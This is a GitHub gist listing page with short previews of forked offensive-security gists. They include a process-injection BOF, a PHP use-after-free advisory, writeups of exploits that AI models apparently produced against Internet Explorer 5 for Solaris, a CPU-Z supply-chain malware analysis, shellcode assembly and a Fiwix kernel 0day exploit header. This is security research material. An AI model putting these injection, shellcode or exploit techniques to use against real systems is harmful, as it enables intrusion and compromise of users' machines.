Skip to content

Instantly share code, notes, and snippets.

@infernalheaven
infernalheaven / InjectVEH.c
Created May 21, 2026 18:21 — forked from rxwx/InjectVEH.c
Vectored Exception Handler Injector BOF
#include <Windows.h>
#include <stdio.h>
#include "VEH.h"
#include "ntos.h"
#include "ntrtl.h"
//#include "peb.h"
#include "ntldr.h"
#include "hwbp.h"
#include "base\helpers.h"
@infernalheaven
infernalheaven / gist:1512d272a18678d67abd80c1781537fd
Created May 8, 2026 22:10 — forked from chtg/gist:ffc16863cbcff6d9a034
Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]

#Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]

Taoguang Chen <@chtg> - Write Date: 2015.1.29 - Release Date: 2015.2.20

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22

@infernalheaven
infernalheaven / WRITEUP_ARRAYSORT.md
Created April 26, 2026 21:47 — forked from moyix/WRITEUP_ARRAYSORT.md
GPT-5.5 (xhigh) writeup of its exploit for a vulnerability in Array.sort on Internet Explorer 5 for Solaris 2.6 (SPARC)

Solaris IE5 Array.sort Exploit Writeup

This is the writeup for the Array.sort solution path for the Ancients Solaris challenge. It does not use the Gopher+ bug.

The target is Internet Explorer 5 for Solaris 2.6/SPARC. The broker launches the browser on a submitted HTTP URL and considers the challenge solved when the browser executes:

@infernalheaven
infernalheaven / WRITEUP.md
Created April 18, 2026 22:07 — forked from moyix/WRITEUP.md
GPT-5.4 exploit of a vuln in gopher protocol handling on Internet Explorer 5 SP1 on SPARC Solaris 2.6

Solaris IE5 Gopher+ Exploit Writeup

This challenge was solved with a memory corruption bug in Internet Explorer 5 for Solaris/SPARC, specifically in libwininet.so's Gopher+ handling.

The short version is:

  • a crafted Gopher+ reply lets FUN_0004e1c8 write a second logical body line through a shifted pointer into a fixed stack buffer
  • that second line overflows out of the current frame and corrupts a caller's
@infernalheaven
infernalheaven / ANALYSIS.md
Created April 11, 2026 22:32 — forked from N3mes1s/ANALYSIS.md
CPU-Z 2.19 Supply Chain Attack Analysis (April 2026) - Trojanized DLL Sideloading with Zig-compiled CRYPTBASE.dll, IPv6-encoded .NET deserialization, MSBuild persistence

CPU-Z 2.19 Supply Chain Attack - Malware Analysis Report

Date: 2026-04-10 Analyst: nemesis Classification: Trojan / Backdoor (Alien RAT variant) Severity: CRITICAL Campaign ID: CityOfSin (extracted from C2 callback UTM parameters) Scope: CPUID official domain compromise affecting CPU-Z, HWMonitor, HWMonitor Pro, PerfMonitor 2, powerMAX + separately FileZilla Status: Breach confirmed and fixed by CPUID; site was compromised ~6 hours on April 9-10, 2026 CPUID Statement: "A secondary feature (a side API) was compromised for approximately six hours [...] causing the main website to randomly display malicious links. Our signed original files were not compromised."

@infernalheaven
infernalheaven / x96shell_msgbox.asm
Created March 6, 2026 16:15 — forked from aaaddress1/x96shell_msgbox.asm
x96 Windows Shellcode: one payload able to used in both 32-bit & 64-bit
; x96 shellcode (x32+x64) by aaaddress1@chroot.org
; yasm -f bin -o x96shell_msgbox x96shell_msgbox.asm
section .text
bits 32
_main:
call entry
entry:
mov ax, cs
sub ax, 0x23
jz retTo32b
/*
* blasty-vs-fiwix.c -- by blasty <peter@haxx.in>
*
* 0day exploit for Fiwix OS i386 (tested on Fiwix 1.7.0)
*
* THEY HAVE PLAYED US FOR ABSOLUTE FOOLS!
* DO NOT TRUST SMALL UNIX-LIKE KERNELS!
*
* Fiwix OS has multiple TTY ioctl vulnerabilities that allow
* arbitrary kernel memory read and write.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.Serialization.Formatters.Binary;
namespace hawktracewsus
{
class Program
{
static void Main()
@infernalheaven
infernalheaven / research.md
Created January 21, 2025 23:36 — forked from hackermondev/research.md
Unique 0-click deanonymization attack targeting Signal, Discord and hundreds of platform

hi, i'm daniel. i'm a 15-year-old high school junior. in my free time, i hack billion dollar companies and build cool stuff.

3 months ago, I discovered a unique 0-click deanonymization attack that allows an attacker to grab the location of any target within a 250 mile radius. With a vulnerable app installed on a target's phone (or as a background application on their laptop), an attacker can send a malicious payload and deanonymize you within seconds--and you wouldn't even know.

I'm publishing this writeup and research as a warning, especially for journalists, activists, and hackers, about this type of undetectable attack. Hundreds of applications are vulnerable, including some of the most popular apps in the world: Signal, Discord, Twitter/X, and others. Here's how it works:

Cloudflare

By the numbers, Cloudflare is easily the most popular CDN on the market. It beats out competitors such as Sucuri, Amazon CloudFront, Akamai, and Fastly. In 2019, a major Cloudflare outage k

@infernalheaven
infernalheaven / export_symbols.idc
Created September 5, 2024 15:23 — forked from ChrisDietrich/export_symbols.idc
Export function names from IDA Pro to text file
// based on https://gist.github.com/hax0kartik/e358ce447a4537bcef534aa8de84817c
#include <idc.idc>
static FuncDump(f, start)
{
auto ea, str, teststr;
ea = start;
while( ea != BADADDR )